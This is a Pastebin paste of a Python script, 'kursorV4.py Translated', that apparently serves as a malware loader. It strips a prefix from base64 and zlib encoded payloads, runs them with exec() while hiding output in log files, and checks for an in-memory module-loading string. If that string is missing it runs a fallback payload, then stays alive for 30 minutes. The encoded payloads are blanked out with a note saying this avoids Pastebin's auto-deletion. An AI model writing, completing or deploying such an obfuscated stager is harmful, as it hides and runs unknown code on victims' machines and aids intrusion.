Guest User

kursorV4.py Translated

a guest
Jun 4th, 2025
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.89 KB | None | 0 0
  1. import base64
  2. import zlib
  3. import sys
  4. import os
  5. import threading
  6. import time
  7.  
  8. # Preserve original stdout and stderr descriptors
  9. original_stdout = sys.stdout
  10. original_stderr = sys.stderr
  11.  
  12. # Defining paths to log files
  13. log_file_path_1 = os.path.join(os.getcwd(), 'script_output_1.log')
  14. log_file_path_2 = os.path.join(os.getcwd(), 'script_output_2.log')
  15.  
  16. # If the files already exist, delete them
  17. for log_file in [log_file_path_1, log_file_path_2]:
  18.     if os.path.exists(log_file):
  19.         try:
  20.             os.remove(log_file)
  21.             print(f"File {log_file} successfully removed.")
  22.         except Exception as e:
  23.             print(f"Error deleting file {log_file}: {e}")
  24.  
  25. first_script_success = False
  26.  
  27. def monitor_logs(timeout=100, target_string="[*] Loading in memory module package: pythonmemorymodule"):
  28.     """
  29.    Monitoring logs of the first script.
  30.    """
  31.     global first_script_success
  32.     start_time = time.time()
  33.     while time.time() - start_time < timeout:
  34.         try:
  35.             if os.path.exists(log_file_path_1):
  36.                 with open(log_file_path_1, 'r', encoding='utf-8') as log_file:
  37.                     content = log_file.read()
  38.                     if target_string in content:
  39.                         first_script_success = True
  40.                         return
  41.         except Exception as e:
  42.             print(f"Error reading logs: {e}")
  43.         time.sleep(1)
  44.  
  45. def execute_script(encoded_script, log_file_path):
  46.     """
  47.    Executes the encoded script and writes logs, ignoring the first 5 characters
  48.    """
  49.     try:
  50.         # Remove the first 5 characters from the string
  51.         cleaned_script = encoded_script[5:]
  52.         decoded_script = zlib.decompress(base64.b64decode(cleaned_script.encode())).decode()
  53.         with open(log_file_path, 'a', encoding='utf-8') as log_file:
  54.             sys.stdout = log_file
  55.             sys.stderr = log_file
  56.             try:
  57.                 exec(decoded_script, globals())
  58.             except Exception as e:
  59.                 print(f"Script execution error: {e}", file=log_file)
  60.         sys.stdout = original_stdout
  61.         sys.stderr = original_stderr
  62.     except Exception as e:
  63.         with open(log_file_path, 'a', encoding='utf-8') as log_file:
  64.             log_file.write(f"Error decoding script: {e}\n")
  65.         print(f"Error decoding script: {e}")
  66.  
  67. def delayed_monitor_start():
  68.     """
  69.    Delay before starting log monitoring.
  70.    """
  71.     time.sleep(2)  # We give time for the first script to start executing
  72.     monitor_logs()
  73.  
  74. # Function to keep the program running for 30 minutes
  75. def keep_alive(duration=1800):  # 30 minutes = 1800 seconds
  76.     end_time = time.time() + duration
  77.     while time.time() < end_time:
  78.         try:
  79.             # Minimal latency to save resources
  80.             time.sleep(1)
  81.         except Exception as e:
  82.             # Ignore all exceptions so that the program does not terminate
  83.             pass
  84.  
  85. # Launch log monitoring in a separate thread
  86. monitor_thread = threading.Thread(target=delayed_monitor_start)
  87. monitor_thread.daemon = False  # The thread will not terminate with the main thread.
  88. monitor_thread.start()
  89.  
  90.  
  91. encoded_script_1 = <REMOVED TO AVOID PASTEBIN AUTO DELETION>
  92.  
  93. try:
  94.     print("Running the first script...")
  95.     threading.Thread(target=execute_script, args=(encoded_script_1, log_file_path_1)).start()
  96. except Exception as e:
  97.     with open(log_file_path_1, 'a', encoding='utf-8') as log_file:
  98.         log_file.write(f"Error running first script: {e}\n")
  99.     print(f"Error running first script: {e}")
  100.  
  101. # Waiting for log monitoring to complete
  102. monitor_thread.join()
  103.  
  104. # If the first script did not run successfully, run an alternative one
  105. if not first_script_success:
  106.     print("The first code failed. I am running the alternative code.")
  107.    
  108.    
  109.     encoded_script_2 = <REMOVED TO AVOID PASTEBIN AUTO DELETION>
  110.    
  111.     try:
  112.         threading.Thread(target=execute_script, args=(encoded_script_2, log_file_path_2)).start()
  113.     except Exception as e:
  114.         with open(log_file_path_2, 'a', encoding='utf-8') as log_file:
  115.             log_file.write(f"Error running second script: {e}\n")
  116.         print(f"Error running second script: {e}")
  117. else:
  118.     print("The first code was executed successfully. No alternative code is required..")
  119.  
  120. # We keep the program active for 30 minutes
  121. print("The script went into standby mode for 30 minutes...")
  122.  
  123. # We launch a background process to support the program's operation
  124. keep_alive_thread = threading.Thread(target=keep_alive, args=(1800,))
  125. keep_alive_thread.daemon = False  # The thread will not terminate with the main thread.
  126. keep_alive_thread.start()
  127.  
  128. # The main stream also waits 30 minutes
  129. try:
  130.     time.sleep(1800)  # 30 minutes = 1800 seconds
  131. except KeyboardInterrupt:
  132.     print("\nThe program was forcibly stopped by the user.")
  133. finally:
  134.     print("30 minutes have passed. The script is finishing its work.")
Add Comment
Please, Sign In to add comment